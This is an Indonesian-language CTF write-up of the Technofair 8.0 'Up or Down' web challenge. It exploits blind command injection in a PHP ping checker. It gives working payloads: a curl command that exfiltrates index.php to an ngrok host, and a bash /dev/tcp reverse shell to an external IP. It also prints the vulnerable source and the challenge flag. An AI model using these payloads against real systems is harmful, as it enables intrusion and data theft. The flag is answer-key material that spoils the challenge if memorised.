[Technofair 8.0] Up or Down

ctf, web

Diberikan soal dan sebuah website dengan deskripsi seperti berikut

Simple

Description
Is website up or down?

http://103.152.242.172:20051/ Author: brokenheart

Pada website hanya terdapat satu input field yang berfungsi untuk mengecek apakah host yang kita inputkan sedang dalam keadaan Up atau Down

maaf lupa screenshoot isi dari websitenya 🙏

Dengan beberapa pengalaman perlombaan CTF yang tidak pernah menang sekalipun, saya menduga bahwa ini merupakan soal Command Injection. Dan benar saja, kita dapat melakukan Blind Command Injection dengan menambahkan backtick (`) pada input.

Payload:

`curl https://3af3626dd48a.ngrok.io -d @index.php`

Source Code index.php:

<?php if (array_key_exists('site', $_POST))
{
$site = str_ireplace(['https://', 'http://'], '', $_POST['site']);
$start = time();
exec('ping -c 3 -w 4 "' . $site . '"');
if (intval(time() - $start) < 3)
{
$status = '<font color="green">Host is UP!</font>';}
else
{
$status = '<font color="red">Host is DOWN!</font>';
}
} ?><!DOCTYPE html><html lang="en"><head>
<meta charset="UTF-8">
<meta
http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport"
content="width=device-width, initial-scale=1.0">
<title>Up / Down ?</title>
<link rel="stylesheet"
href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css"
integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO"
crossorigin="anonymous">
<script
src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js"
integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy"
crossorigin="anonymous"></script></head><body>
<div class="container
text-center">
<div class="contact-form">
<h3 class="">Up / Down
?</h3>
<form method="post" action="">
<div
class="form-group" align="center">
<div class="col-md-6">
<input type="text" name="site" id="site" placeholder="Site (e.g google.com)"
required="true" class="form-control"/>
</div>
</div>
</form>
<?php echo @$status; ?>
</div>
</div>
</body></html>

Nah dengan itu kita bisa manfaatin Command Injectionnya ini buat dapetin Reverse shell biar kita bisa cari Flagnya.

Payload:

google.com"; bash -c "bash -i >& /dev/tcp/3.138.180.119/15070 0>&1

Reverse Shell

Tinggal cari, cat flag dannn ENJOYY!

Flag

technofair{welcome_to_our_first_ctf_national_competition:)_i_hope_u_enjoy}